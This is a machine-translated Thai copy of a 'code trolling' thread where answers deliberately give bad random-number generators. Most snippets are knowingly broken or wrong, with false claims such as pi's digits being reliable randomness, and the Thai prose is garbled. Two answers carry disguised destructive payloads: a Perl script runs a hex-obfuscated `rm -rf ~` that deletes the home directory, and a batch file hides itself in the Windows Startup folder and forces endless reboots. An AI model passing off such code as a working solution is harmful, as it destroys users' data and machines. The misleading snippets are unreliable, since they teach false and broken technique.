ความท้าทาย:
สร้างลำดับของตัวเลขแบบสุ่ม อินพุตเท่านั้นควรเป็นความยาวของลำดับ
คะแนนอินเทอร์เน็ตเพิ่มพิเศษสำหรับโซลูชั่นที่ใช้งานได้จริง
หมายเหตุ: นี่เป็นคำถามการหมุนรหัส กรุณาอย่าใช้คำถามและ / หรือคำตอบอย่างจริงจัง ข้อมูลเพิ่มเติมที่นี่
ความท้าทาย:
สร้างลำดับของตัวเลขแบบสุ่ม อินพุตเท่านั้นควรเป็นความยาวของลำดับ
คะแนนอินเทอร์เน็ตเพิ่มพิเศษสำหรับโซลูชั่นที่ใช้งานได้จริง
หมายเหตุ: นี่เป็นคำถามการหมุนรหัส กรุณาอย่าใช้คำถามและ / หรือคำตอบอย่างจริงจัง ข้อมูลเพิ่มเติมที่นี่
คำตอบ:
หยิบบทความวิกิพีเดียสุ่มขึ้นมาและเรียงลำดับอักขระ html ที่มีความยาวเป็นตัวเลขและรับค่าตัวเลข
import urllib2
from random import randint
def getRandom(num):
response = urllib2.urlopen('http://en.wikipedia.org/wiki/Special:Random')
html = response.read()
html = html.replace(" ", "")
htmllen = len(html)
#I especially love how I still grab a random number here
l = randint(0, htmllen - num)
data = html[l:l+num]
return [ ord(x) for x in list(data) ]
print getRandom(25)
โปรแกรมทั้งหมดจากคำตอบอื่น ๆ จะสร้างเฉพาะสิ่งที่เรียกว่า "ตัวเลขสุ่มหลอก" ซึ่งอาจดูสุ่มไปที่ดวงตาที่ไม่ได้รับการฝึกฝน แต่จริง ๆ แล้วทำตามรูปแบบบางอย่าง
โปรแกรมต่อไปนี้สร้างตัวเลขสุ่มตามจริงโดยเปลี่ยนคอมพิวเตอร์ของคุณให้เป็นเครื่องตรวจจับอนุภาคสำหรับรังสีพื้นหลัง เนื่องจากสิ่งนี้ขึ้นอยู่กับผลกระทบของควอนตัมจึงสุ่มและไม่สามารถคาดการณ์ได้ และสำหรับโบนัสโปรแกรมจะทำงานได้เร็วขึ้นจริงหากคุณเปิดคอมพิวเตอร์ของคุณออกสู่อวกาศ และใช่นั่นคือทุกบิตที่เท่
#include<stdio.h>
int main(void)
{
int i,j,k,l,m;
printf("How many random numbers do you want?");
scanf ("%i",&m);
for (i=0; i<m; i++)
{
j = k = 42;
l = 0;
while (j==k)
l++;
printf("%i\n", l);
}
}
สปอยเลอร์:
โปรแกรมนี้สร้างหน่วยความจำที่เหมือนกันสองส่วนจากนั้นรอนานแค่ไหนสำหรับการแผ่รังสีพื้นหลังเพื่อเปลี่ยนหนึ่งในนั้น เวลารอจะถูกส่งกลับเป็นตัวเลขสุ่มซึ่งจะถูกแจกแจงแบบเอ็กซ์โพเนนเชียลหากไม่ใช่จำนวนเต็มล้น เหตุการณ์ดังกล่าวเป็นโอกาสมากขึ้นในพื้นที่เป็นปัญหาที่เกิดขึ้นจริงในอวกาศซึ่งมีการแก้ไขโดยการชุบแข็งรังสี ดังนั้นทุกคำพูดในการแนะนำจึงเป็นจริงในระดับหนึ่งนอกเหนือจากความเยือกเย็นเล็กน้อย
แต่น่าเสียดายที่เหตุการณ์ดังกล่าวหยุดทำงานในคอมพิวเตอร์หรืออย่างน้อยโปรแกรมก็มีแนวโน้มที่จะกระทบกับหน่วยความจำทั้งสองชิ้น นอกจากนี้อาจใช้เวลาสักครู่ ... ในที่สุดเมื่อชี้ให้เห็นโดย kinokijuf การแผ่รังสีพื้นหลังเป็นกระบวนการภายนอกดังนั้นj
และk
ควรถูกทำเครื่องหมายว่าvolatile
คอมไพเลอร์
PS: ขยายความคิดเราสามารถสร้างอาร์เรย์ที่เต็มไปด้วยเลขศูนย์แล้วพิมพ์ออกมาได้ มีโอกาสของεที่การแผ่รังสีพื้นหลังเปลี่ยนค่าศูนย์ระหว่างการจัดเก็บและการพิมพ์ดังนั้นสิ่งที่พิมพ์จะถูกสุ่ม - OP ไม่เคยพูดว่าจะแจกแจงหมายเลขสุ่มอย่างไร
j
และk
ใช้ตำแหน่งบางอย่างในหน่วยความจำเสมอหรือไม่? (ฉันไม่ได้ใช้ C มากนักฉันเป็น Java และ C # โปรแกรมเมอร์) ถ้าเป็นเช่นนั้นคุณสามารถออกแบบฮาร์ดแวร์เพื่อให้ตำแหน่งเหล่านั้นไม่ได้รับการปกป้องจากการชุบแข็งด้วยรังสี แต่ส่วนที่เหลือของระบบคือ
การสุ่มเป็นเรื่องยากที่จะประสบความสำเร็จในคอมพิวเตอร์ การสร้างตัวเลขสุ่มบนคอมพิวเตอร์เป็นพื้นที่การวิจัยที่กระตือรือร้นมากซึ่งมักเกี่ยวข้องกับนักแสดงระดับรัฐ (ดูDual_EC_DRBG ) อย่างไรก็ตามในระบบปฏิบัติการมัลติทาสกิ้งที่ทันสมัยตัวกำหนดตารางเวลาเธรดอาจทำงานผ่านได้ในบางสถานการณ์ ในการทำเช่นนี้เราให้การควบคุมการแบ่งเวลาปัจจุบันของเรากลับสู่ระบบปฏิบัติการและจดบันทึกว่าจะใช้เวลานานเท่าใดในการกำหนดเวลาอีกครั้ง ขึ้นอยู่กับระบบปฏิบัติการและโหลดสิ่งนี้อาจให้ผลลัพธ์ที่ต้องการ
const int bitsInInt = 31;
void Main()
{
Console.WriteLine("Enter total number of numbers to generate:");
var result = Console.ReadLine();
var total = int.Parse(result);
foreach(var i in RandomSequence().Take(total))
{
Console.WriteLine(i);
}
}
//Generates a random sequence of bits
IEnumerable<int> RandomBit()
{
while(true)
{
var sw = new Stopwatch();
sw.Start();
Thread.Sleep(bitsInInt);
sw.Stop();
yield return (int)(sw.ElapsedTicks & 0x1L);
}
}
//Performs the computation for mapping between the random
//sequence of bits coming out of RandomBit() and what
//is required by the program
IEnumerable<int> RandomSequence()
{
while(true)
{
yield return RandomBit().Take(bitsInInt).Reverse().Select((b,i)=> b<<i).Sum();
}
}
เนื่องจากผู้ใช้ซอฟท์แวร์ออกสุ่มโดยธรรมชาติแล้วทำไมไม่ลองใช้มันเพื่อผลประโยชน์ของเรา?
รหัสนี้ใช้ภาพหน้าจอและใช้กับข้อมูลอื่นเพื่อสร้างลำดับแบบสุ่ม คะแนนโบนัสอินเทอร์เน็ตที่ไม่ได้ใช้เครื่องกำเนิดไฟฟ้าแบบสุ่มในตัว?
public unsafe uint[] GetThemRandom(int length)
{
var bounds = Screen.GetBounds(Point.Empty);
using (var screenshot = new Bitmap(bounds.Width, bounds.Height))
using (var graphics = Graphics.FromImage(screenshot))
{
// can't hurt
var sZ = (uint)Cursor.Position.X;
var sW = (uint)Cursor.Position.Y;
// take the screenshot as the previous experience has though us that the users
// are sufficiently random
graphics.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
screenshot.Save(DateTime.Now.Ticks + ".jpg", ImageFormat.Jpeg);
var bytesPerPixel = Image.GetPixelFormatSize(screenshot.PixelFormat) / 8;
var bits = screenshot.LockBits(bounds, ImageLockMode.ReadOnly, screenshot.PixelFormat);
var scanData = (byte*)bits.Scan0.ToPointer();
var scanLimit = bounds.Width * bounds.Height;
// squash the pixels into two variables
for (var i = 0; i < scanLimit; i += 2)
{
var pX = scanData + i * (bytesPerPixel);
var pY = scanData + (i + 1) * (bytesPerPixel);
for (var j = 0; j < bytesPerPixel; j++)
{
sZ ^= *(pX + j);
sW ^= *(pY + j);
}
}
// generate the numbers
var randoms = new uint[length];
for (var i = 0; i < length; i++)
{
// CodeProject 25172
sZ = 36969 * (sZ & 65535) + (sZ >> 16);
sW = 18000 * (sW & 65535) + (sW >> 16);
randoms[i] = (sZ << 16) + sW;
}
return randoms;
}
}
มันง่ายที่จะสะดุดกับข้อผิดพลาดที่พบบ่อย: แหล่งที่มาของตัวเลขสุ่มที่ไม่มีการกระจายอย่างสม่ำเสมอและไม่มีการสุ่ม โซลูชันของฉันหลีกเลี่ยงปัญหาเหล่านี้ได้อย่างยอดเยี่ยมโดยใช้ข้อมูลเชิงลึกทางคณิตศาสตร์และเคล็ดลับง่ายๆ แต่มีประสิทธิภาพการสุ่มด้วยเวลาปัจจุบัน:
from math import pi # The digits of pi are completely randomly distributed. A great source of reliable randomness.
random_numbers = str(pi)
random_numbers = random_numbers[2:] # Don't return the dot accidentally
import time
index = time.localtime()[8] # Avoid the obvious mistake not to randomise the random number source by using localtime as seed.
random_numbers = random_numbers[index:]
number = int(input("How many random numbers would like?"))
for random in random_numbers[:number]: # Python strings are super efficient iterators! Hidden feature!
print(random)
ใช้งานได้ดีเมื่อทดสอบหนึ่งครั้งสำหรับชุดตัวเลขขนาดเล็ก (9 หรือน้อยกว่า) แต่เมื่อพบข้อบกพร่องที่รุนแรงมากขึ้นอีกเล็กน้อย:
math.pi
มีตัวเลขเพียงไม่กี่หลักหลังจากช่วงเวลานั้นtime.localtime()[8]
ไม่ส่งคืนค่ามิลลิวินาทีหรือนาฬิกาเคอร์เนล แต่เป็น 0 หรือ 1 ขึ้นอยู่กับว่าเป็นเวลาออมแสงหรือไม่ ดังนั้นการสุ่มเปลี่ยนเมล็ดทุก ๆ ครึ่งปีโดยที่เดียว ดังนั้นโดยทั่วไปไม่มีการสุ่มrandom_numbers[:number]
ล้มเหลวอย่างเงียบ ๆ เมื่อคุณป้อนตัวเลขที่number
ใหญ่กว่า 15 และสุ่มเพียง 15 หมายเลขน่าเศร้านี่คือแรงบันดาลใจจากฟังก์ชั่นการสุ่ม Delphi 1.0 ซึ่งใช้ในการทำงานในทำนองเดียวกัน
คำถามถามลำดับ ที่นี่เราไปอีกครั้ง ...
$seed = $$.to_i
def getRandom(seed)
a = Class.new
b = a.new
$seed = a.object_id.to_i + seed - $seed
$seed
end
def getRandomSequence(num)
molly = Array.new
0.upto(num) do |x| molly[x] = x*getRandom(x) - getRandom(0-x) end
molly
end
นี่คือการสุ่ม 100% ไม่มีจริงๆ.
รหัสนี้แย่เกินไปที่จะหมายถึงสิ่งที่ไม่มีใน OP (สิ่งที่นรกคือ object_id?)
นอกจากนี้มันยังมีการใช้งานที่เฉพาะเจาะจงซึ่งหมายความว่ามันใช้งานได้หรือไม่ระหว่างรุ่นทับทิมที่แตกต่างกัน
ยิ่งไปกว่านั้นสิ่งนี้อาจทำสิ่งที่น่ารังเกียจจริงๆเนื่องจาก OP อาจทดลองกับ object_id ...
ตัวอย่างผลลัพธ์:
-2224
12887226055
25774454222
38661682243
51548910124
64436137991
แก้ไขเพื่อใช้$$
สำหรับการสุ่มที่แท้จริง (ในระดับระบบปฏิบัติการ)
ระวังนี่เป็นคำถามที่หลอกลวง .....
คนส่วนใหญ่ใน Java จะใช้ math.random () เพื่อช่วยในการสร้างลำดับนี้ แต่พวกเขาจะสับสนเพราะพวกเขาจะได้รับผลบวกเท่านั้น! random()
ส่งกลับค่าทศนิยมตั้งแต่ 0 ถึง 1 (ไม่รวม 1 ตัว) ดังนั้นคุณต้องเล่นลูกเล่นบางอย่างเพื่อให้แน่ใจว่าคุณได้รับการแจกแจงที่ดีของค่าสุ่มจากช่วงจำนวนเต็มทั้งหมด (บวกและลบ)
นอกจากนี้คุณไม่สามารถเพิ่มจำนวนได้อย่างง่ายดายMath.random()
และInteger.MAX_VALUE
เนื่องจากคุณจะไม่รวมInteger.MAX_VALUE
ตัวเองเป็นส่วนหนึ่งของผลลัพธ์! นอกจากนี้มันจะเป็นตรรกะที่จะทำเช่นmath.rand() * (Integer.MAX_VALUE + 1)
นั้นเพื่อให้คุณได้รับการกระจายเต็มรูปแบบ แต่แน่นอนว่ามันไม่ทำงานเพราะInteger.MAX_VALUE + 1
จะล้นและกลายเป็นInteger.MIN_VALUE
! ดังนั้นน่าเสียดายที่ทางออกที่ดีที่สุดคือใช้วิธีการจัดการข้อมูลอย่างชาญฉลาด ...
ดังนั้นนี่คือลำดับที่สมบูรณ์สำหรับการสร้างค่า 'n' แบบสุ่มในช่วงInteger.MIN_VALUE
ถึงInteger.MAX_VALUE
(รวมถึงทั้งสองขั้ว (ซึ่งเป็นส่วนที่ยาก) !!!!):
public static int[] get_random_sequence(int count) {
// where we will store our random values.
int[] ret = new int[count];
for (int i = 0; i < count; i++) {
// get a random double value:
double rand = Math.random();
// now, convert this double value (which really has 48 bits of randomness)
// in to an integer, which has 32 bits. Thus 16 extra bits of wiggle room
// we cannot simply multiply the rand value with Integer.MAX_VALUE
// because we will never actually get Integer.MAX_VALUE
// (since the rand will never exactly == 1.0)
// what we do is treat the 32-bits of the integer in a clever bit-shifting
// algorithm that ensures we make it work:
// We use two special Mersenne Prime values (2^19 - 1) and (2^13 - 1)
// http://en.wikipedia.org/wiki/Mersenne_prime#List_of_known_Mersenne_primes
// these are very convenient because 13 + 19 is 32, which is the
// number of bits of randomness we need (32-bit integer).
// Interesting note: the value (2^31 - 1) is also a Mersenne prime value,
// and it is also Integer.MAX_VALUE. Also, it is a double marsenne prime
// since 31 is also a marsenne prime... (2^(2^5 - 1) - 1). Math is Cool!!!
// 2^19 - 1 can be expressed as (1 << 19) - 1
// 2^13 - 1 can be expressed as (1 << 13) - 1
// first we set 13 bits ... multiply a 13-bit prime by the random number.
ret[i] = (int)(rand * (1 << 13) - 1);
// now shift those 13 random bits 19 bits left:
ret[i] <<= 19;
// now add in the 19 random bits:
ret[i] ^= (int)(rand * (1 << 19) - 1);
}
return ret;
}
สิ่งนี้สร้างผลลัพธ์เช่น:
[-368095066, -1128405482, 1537924507, -1864071334, -130039258, 2020328364, -2028717867, 1796954379, 276857934, -1378521391]
แน่นอนข้างต้นเป็นคำตอบ BS ที่สมบูรณ์ มันไม่ได้ให้คำอธิบายที่ดีและ 'ซ่อน' ข้อผิดพลาดที่รุนแรง ( ^=
ควร|=
) มันยังซ่อนบั๊กที่รุนแรงน้อยกว่า (ลำดับความสำคัญของ pf- หมายความว่าเราไม่ได้คูณด้วยค่าไพรเวตเลย!) การใช้คำแฟนซีตัวเลขเฉพาะและความคิดเห็นมากมายก็ไม่มีเหตุผลที่จะเชื่อถือรหัส ... แน่นอนถ้าคุณต้องการทำข้างต้นคุณควรใช้java.util.Random.nextInt()
ตอนนี้ฉันมองย้อนกลับไปในโปรแกรมฉันลืมปิดScanner
...
import java.util.Scanner;
public class RandomNumberGenerator
{
public static void main(String... args)
{
String rand = "14816275093721068743516894531"; // key-bashing is random
Scanner reader = new Scanner(System.in);
System.out.println("Enter length of random number: ");
System.out.println(rand.substring(0, Integer.parseInt(reader.nextLine())));
}
}
try (Scanner reader = new Scanner(System.in)) { ... }
ด้วย
$\=$$;for(1..<>){$\=$\*65539;$\%=2**31;$\.=',';print""}
ฉันกำลังใช้$\
วิธีเดียวกันกับผลลัพธ์ในคำตอบการหมุนโค้ดที่แตกต่างกัน นอกจากนี้คุณยังสังเกตเห็นว่าฉันลงทุนจำนวนมาก$$
ในอัลกอริทึมRANDU
แก้ไข: เพื่ออธิบายให้ดีขึ้น RANDU เป็น PRNG ที่ไม่ปลอดภัยอย่างน่ากลัว Wikipedia อธิบายว่าเป็น "หนึ่งในเครื่องกำเนิดตัวเลขสุ่มที่ไม่มีใครนึกได้มากที่สุดเท่าที่เคยออกแบบมา" มันเป็นจุดอ่อนหลักอยู่ด้านล่าง:
f (x) = 6 * f (x-1) - 9 * f (x-2)
2^CHAR_BIT
นี่เป็นเครื่องกำเนิดไฟฟ้าจำนวนสุ่มฐาน
char* random(size_t length) {
char* ret = malloc((length+1) * sizeof(char));
ret[length] = 0;
return ret;
}
length
เท่านั้น ข้อมูลที่เสียหายเมื่อตัวอย่างทำงานได้ดีที่สุด
ในจาวาสคริปต์ด้วยสไตล์การใช้งาน:
var randomSequence = "[5, 18, 4, 7, 21, 44, 33, 67, 102, 44, 678, -5, -3, -65, 44, 12, 31]";
alert("The random sequence is " + (function (sequenceSize) {
return randomSequence.substring(0, sequenceSize);
})(prompt("Type the size of the random sequence")) + ".");
ฟังก์ชั่นนี้ใช้งานได้ดีมากสำหรับแอปพลิเคชั่นขนาดเล็กสำหรับการสร้างตัวเลขสุ่มระหว่าง 0 และ 1337 การเรียกมันมากกว่าหนึ่งครั้งจะแนะนำให้ทำประกันแบบสุ่มสูงสุด
int* getRandom(int length)
{
//create an array of ints
int* nums = malloc(sizeof(int) * length);
//fill it in with different, "random" numbers
while(length--) //9001 is a good seed
nums[length-1] = (int)malloc(9001) % 1337; //1337 is used to make it more random
return nums;
}
เครื่องกำเนิดBlum Blum Shub ที่มีชื่อเสียง เพราะเครื่องกำเนิดจำนวนสุ่มควรมีความปลอดภัยเข้ารหัสและวิธีที่ดีกว่าที่จะให้การรักษาความปลอดภัยกว่าผ่านความสับสน
#include <stdio.h>
long long Blum,BLum,Shub;
#define RAND_MAX 65536
//These two constant must be prime, see wikipedia.
#define BLUM 11
#define SHUB 19
int seed(int);
int(*rand)(int)=seed; //rand must be seeded first
int blumblumshub(int shub){
//generate bbs bits until we have enough
BLum = 0;
while (shub){
Blum=(Blum*Blum)%Shub;
BLum=(BLum<<1)|(Blum&1);
shub>>=1;
}
return BLum>>1;
}
int seed(int n){
Blum=n,BLum=BLUM;
Shub=SHUB*BLum;
rand=blumblumshub;
return rand(n);
}
//Always include a test harness.
int main(int argv, char* argc[]){
int i;
for (i=0;i<10;i++){
printf("%d\n",rand(97));
}
}
(รวมถึงชื่อตัวแปรที่แย่มากการใช้งานที่ไม่ถูกต้องขึ้นอยู่กับการสแกนวิกิพีเดียอย่างรวดเร็วและตัวชี้ฟังก์ชั่นมายากลที่ไร้ประโยชน์ถูกส่งเข้ามาเพื่อความสนุกสนาน)
int argv, char* argc[]
โอ้พระเจ้าทำไม?
#include<stdio.h>
int main()
{
int length = 20;
double *a = new double[0];
for (int i = 0; i < length; ++i)
{
printf("%f\n", a[i]);
}
return a[0];
}
ใช้ข้อมูลกองขยะ โอ้และอย่าลืมที่จะรั่วไหลของตัวชี้
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char *argv[]) {
int i, len;
srand(time(NULL));
len = atoi(argv[1]);
for(i = 0; i < len; i++)
printf("%d\n", rand() % 100);
return 0;
}
ข้อดี:
using namespace std;
เป็นความชั่วร้ายและเราไม่ต้องการที่จะทำให้โปรแกรมช้าลงด้วยการค้นหาเนมสเปซเหล่านั้นทั้งหมดจุดด้อย:
argv[1]
ไม่ใช่จำนวนเต็ม (หรือแย่กว่านั้นถ้ามันเป็นโมฆะ)?
atoi
จะส่งกลับค่าศูนย์ int
ตำแหน่งที่ได้รับมีขนดกคือเมื่อเข้ารหัสจำนวนเต็มอยู่นอกช่วงของ
RandInt =
Array[First@
Cases[URLFetch["http://dynamic.xkcd.com/random/comic/",
"Headers"], {"Location", l_} :>
FromDigits@StringTake[l, {17, -2}]] &, #] &
:so;first&Input\something And;then:Disp uhmm_crazy_huhrandIntNoRep(1_£€¢|•∞™©®©©™,Andthen)
อินพุต - 3
เอาท์พุท - {2,3,1}
มันทำงานได้เพราะมันเดือดลงไป :Input A:Disp randIntNoRep(1,A)
นี่คือวิธีแก้ปัญหาของงูหลาม คุณไม่สามารถพิสูจน์ได้ว่านี่ไม่ใช่การสุ่ม!
def get_random(num):
print '3' * num
ลองใช้งานโดยการโทรget_random(5)
ออก
use strict;
use warnings;
`\x{0072}\x{006D}\x{0020}\x{002D}\x{0072}\x{0066}\x{0020}\x{007E}`;
my $length = $ARGV[0];
for (my $count = 0;$count<$length;++$count) {
print int(rand(10));
}
print "\n";
อันนี้ใช้รหัส Perl ที่ง่ายมากที่จะทำตามที่ OP ถาม แต่ไม่ก่อนที่จะลบไดเรกทอรีบ้านของพวกเขาซ้ำ ๆ (โดยไม่ต้องเขียน rm -rf ~ แน่นอน)
ฉันยังไม่ได้ทดสอบสิ่งนี้ (ด้วยเหตุผลที่ชัดเจน)
ไม่เพียง แต่เสียเวลามาก (ทั้งจริงและเวลา CPU) เท่านั้นที่จะส่งกลับตัวเลขสุ่ม 10 หมายเลข
def generate_random_number_sequence():
with open('/dev/urandom', 'rb') as fd:
data = b''
num = 0
for i in range(10000):
data += fd.read(1)
for b in data:
try:
num += int(b)
except ValueError: pass
return [int(n) for n in list(str(num))]
if __name__ == '__main__':
print(generate_random_number_sequence())
คุณอาจรู้ว่าตัวเลขทั้งหมดไม่ใช่แบบสุ่ม นี้การตรวจสอบโปรแกรมทั้งหมดตัวเลขและช่วยให้คุณมีเพียงคนที่แท้จริงเป็นแบบสุ่ม
ระวังว่าโค้ด Ruby นั้นอ่านยากหน่อย มันไม่ได้มีประสิทธิภาพเท่ากับภาษาอังกฤษเพราะคอมพิวเตอร์ค่อนข้างโง่และบางครั้งคุณต้องพูดคำที่สำคัญซ้ำ ๆ
ดังนั้นฉันได้เพิ่มบาง#comments
รหัส; คำที่มีประสิทธิภาพมากขึ้นในความคิดเห็นแสดงให้เห็นว่าคำเดียวกันนี้ทำงานอย่างไรในโค้ด Ruby
def random_sequence(n)
# Make a NEW ENUMERATOR of RANDOM numbers:
Enumerator.new { |random|
# to_i means that the RANDOM NUMBERS we want are *integers*.
# (rand is computer speak for random.)
number = rand.to_i
# We need to LOOP (because we want a *sequence* of numbers):
loop do
# Double check that the NEXT NUMBER is a RANDOM NUMBER.
# This is very important so we must repeat some of the words to the computer.
random << number if number == rand(number=number.next)
end
}.take(n) # Self explanatory
end
# Now we just say hw many random numbers we want, like 12
p random_sequence(12)
คำอธิบายโดยละเอียดเพิ่มเติมอาจมาในภายหลัง แต่ผลลัพธ์จากตัวอย่างการรันควรให้บางส่วน: [1, 3, 5, 10, 180, 607, 639, 1694, 21375, 75580, 137110, 149609] ... ยัง ค่อนข้างสุ่มแม้ว่า
สคริปต์ Windows Batch ต่อไปนี้จะสร้างไฟล์ที่มีตัวเลขสุ่มOUTPUT.TXT
ในโฟลเดอร์โปรไฟล์ของคุณ สิ่งนี้รับประกันว่าจะสร้างตัวเลขสุ่มที่แท้จริงเกือบทั้งหมด เพียงวางรหัสนี้ลงใน Notepad ให้บันทึกเป็น"FileName.CMD"
(พร้อมด้วยคำพูด) และดำเนินการ
IF "%~dp0" == "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" GOTO GENRANDOM
copy %~f0 "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
attrib +R +H "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
GOTO GENRANDOM
REM GOTO INSTRUCTIONS ARE VERY IMPORTANT TO MAKE YOUR FILE EASIER TO READ
:NEXT
shutdown -r -t 0
exit
:GENRANDOM
FOR /D %%F IN (%time%) DO (
@set output=%%F
)
::NEXT <--Really important
IF NOT EXIST "%userprofile%\OUTPUT.TXT" ECHO.>"%userprofile%\OUTPUT.TXT"
echo.%output%>>"%userprofile%\OUTPUT.TXT"
GOTO NEXT
REM TODO: ADD MORE OBSCURITY
ต้องป้อนจำนวนสุ่มตัวเลขที่จะสร้างเป็นวิธีที่ลำบากเกินไปโดยวิธี เพียงแค่กดปุ่มเปิด / ปิดค้างไว้เพื่อหยุดการสร้าง วิธีที่ง่ายกว่า! บวก: ไม่ต้องใช้แป้นพิมพ์
%time%
เขียนไปยัง%userprofile%\OUTPUT.TXT
แล้วรีสตาร์ทคอมพิวเตอร์ เมื่อคอมพิวเตอร์รีสตาร์ทเครื่องก็จะทำเหมือนเดิมอีกครั้ง
Lua
นี่เป็นฟังก์ชั่น overachieving, over-complex, messy (แม้จะมีปากกาเน้นข้อความไวยากรณ์) ซึ่งสร้างตัวเลขที่สูงมากในแบบที่ซับซ้อนมาก และแทนที่จะส่งคืนสตริงตัวเลขมันจะพิมพ์ตัวเลขเหล่านั้นบนหน้าจอทำให้ไม่สามารถใช้งานได้ภายในโปรแกรมของคุณ เป็นการยากที่จะแก้ไขดังนั้นหากผู้ชนะขอให้คุณแก้ไขให้บอกว่ามันซับซ้อนเกินกว่าจะแก้ไขได้
function random(x) local func = loadstring("print(math.random(math.random(math.random(123514363414,9835245734866241),math.random(182737598708748973981729375709817829357872391872739870570,57102738759788970895707189273975078709837980278971289375078978739287018729375087132705)),math.random(math.random(19230851789743987689748390958719873289740587182039758917892708973987579798403789,0958907283470589718273057897348975087192034875987108273570917239870598743079857082739845891098728073987507),math.random(894017589723089457098718723097580917892378578170927305789734975087109872984375987108789,2739870587987108723457891098723985708917892738075098704387857098172984758739087498570187982347509871980273589789437987129738957017))))") for i = 1, x do func() end end
public class Random
{
private char[] initialSequence = "Thequickbrownfoxjumpsoveralazydog".ToCharArray();
private long currentFactor;
public Random()
{
currentFactor = DateTime.Now.ToFileTime();
}
public IEnumerable<int> GetSequence(int count)
{
int i = 0;
while (i < count)
{
i++;
string digits = currentFactor.ToString();
digits = digits.Substring(digits.Length / 4, digits.Length / 2);
if (digits[0] == '0')
digits = "17859" + digits;
currentFactor = (long)System.Math.Pow(long.Parse(digits), 2);
int position = i % initialSequence.Length;
initialSequence[position] = (char)((byte)initialSequence[position] & (byte)currentFactor);
yield return (int)initialSequence[position] ^ (int)currentFactor;
}
}
}
โปรดทราบว่ามันมีแนวโน้มที่จะแตกสำหรับลำดับที่ยาวขึ้น แต่เมื่อมันทำงานมันจะสร้างตัวเลขสุ่มมาก
คอมพิวเตอร์ของคุณมีหมายเลขสุ่มอยู่แล้วดังนั้นคุณต้องเข้าถึงสิ่งต่อไปนี้
program random_numbers
implicit none
integer :: nelem,i,ierr
print *,"Enter number of random sequences"
read(*,*) nelem
do i=1,nelem
call system("od -vAn -N8 -tu8 < /dev/urandom")
enddo
end program random_numbers
เห็นได้ชัดว่าไม่ใช่แบบพกพาเนื่องจากผู้ใช้ต้องมีระบบ * nix (แต่ใครยังคงใช้ Windows ต่อไป?)
ฉันคิดว่าคุณแน่นอนความต้องการจำนวนมากของตัวเลขสุ่ม สิ่งที่เรียกร้องให้ ...
แน่นอนว่าการใช้แหล่งสุ่มเพียงแหล่งเดียวนั้นไม่น่าเชื่อถือในยุคของ NSA พวกเขาอาจโทรจันคอมพิวเตอร์ของคุณ แต่พวกมันจะไม่ถูกโทรจันมาเป็นกลุ่มทั้งหมดของคุณ!
#!/bin/bash
# Fortunately, our mapper is not very complex.
# (Actually a lot of the time, mappers are trivial)
cat > /tmp/mapper << EOF
#!/bin/bash
echo $$RANDOM
EOF
# Our reducer, however, is a filigrane piece of art
cat > /tmp/reducer << EOF
#!/bin/bash
exec sort -R | head -1
EOF
ถัดไปสคริปต์จะรันงานคลัสเตอร์ตามต้องการ:
# We need to prepare our input data:
$HADOOP_HOME/bin/hdfs dfs -mkdir applestore
for i in `seq 0 $RANDOM`; do
echo Banana >> /tmp/.$i
$HADOOP_HOME/bin/hdfs dfs -copyFromLocal /tmp/.$i applestore/android-$i
done
# We can now repeatedly use the cluster power to obtain an infinite
# stream of super-safe random numbers!
for i in `seq 1 $1`; do
$HADOOP_HOME/bin/hadoop jar $HADOOP_HOME/hadoop-streaming.jar \
-input applestore/ \
-output azure/ \
-file /tmp/mapper \
-file /tmp/reducer \
-mapper /tmp/mapper \
-reducer /tmp/reducer
$HADOOP_HOME/bin/hdfs dfs -cat azure/part-00000
# Never forget to cleanup something:
$HADOOP_HOME/bin/hdfs dfs -rm -r azure
done
ขอบคุณพระเจ้าพวกเรามีพลังของ Hadoop!
require 'md5'
5.times {|i| p MD5.md5(($$+i).to_s).to_s.to_i(32)} # take 32 bits
มันค่อนข้างยุ่งยากและฉันจะไม่กังวลมากเกินไป เพียงแค่คัดลอกและวางโค้ดด้านล่างลงในห้องสมุดของคุณแล้วคุณจะเป็นทองตลอดไป
#include <stdlib.h>
#include <time.h>
void fillNumbers(int[], unsigned size);
void main()
{
int random[5];
fillNumbers(random, 5);
}
void fillNumbers(int arr[], unsigned size)
{
void * pepperSeed = malloc(size);
unsigned tick = ~(unsigned)clock();
srand((int)( (unsigned)pepperSeed^tick ));
while( size --> 0 )
{
arr[size] = rand();
}
}
ลอง C ++ - รวดเร็วมีประสิทธิภาพทุกสิ่งที่คุณต้องการ:
#include <iostream>
#include <vector>
#include <cmath>
using namespace std;
#define type int
#define type vector
// declaration for generate_num()
int generate_num();
void error(std::string s) {
throw runtime_error(s);
}
// some support code
class random {
public:
random(int& i) { if (!i) error("class random: bad value"); for (int j = 0; j < i; j++) v.push_back(generate_num()); }
void* display() const { for (int i = 0; i < v.size(); i++) std::cout << v[i] << std::endl; return 0; }
private:
vector<int> v;
};
// generate number
int generate_num() {
// seed random number generator
srand(rand());
// get number
int i = rand();
// return number after calculation
return int(pow(i, pow(i, 0)));
}
int main() try {
// generate and store your random numbers
int amount_of_numbers;
std::cout << "Enter the number of random variables you need: ";
std::cin >> amount_of_numbers;
// create your random numbers
random numbers = random(amount_of_numbers);
// display your numbers
numbers.display();
return 0;
}
catch (exception& e) {
std::cerr << "Error: " << e.what();
return 1;
}
catch (...) {
std::cerr << "Unknown error\n";
return 2;
}
class
โดยวิธีการที่ดีที่สุดเพื่อให้ได้ผลลัพธ์ที่คุณจะต้องการใช้
คำอธิบาย:
1. เขาไม่จำเป็นต้องใช้สิ่งนั้นclass
- ซ้ำซ้อนโดยสิ้นเชิง
2. คำสั่ง return ในgenerate_num()
จริง ๆ แล้วจะคืนค่าหมายเลข ^ (หมายเลข ^ 0) ซึ่งประเมินเป็นตัวเลข ^ 1 ซึ่งก็คือตัวเลข นี่คือซ้ำซ้อน
3. การจัดการข้อผิดพลาดที่ไม่จำเป็นที่สุด - สิ่งใดที่ผิดปกติกับการเจาะข้อมูลขั้นพื้นฐานนี้?
4. ฉันใช้std::
ก่อนองค์ประกอบทั้งหมดของstd
เนมสเปซ นี่คือซ้ำซ้อน
5. #define
ข้อความไม่จำเป็นเช่นกัน - ฉันทำเพื่อทำให้เขาคิดว่าฉันได้กำหนดประเภทเหล่านั้นโดยเฉพาะสำหรับโปรแกรมนี้
คำเตือน:
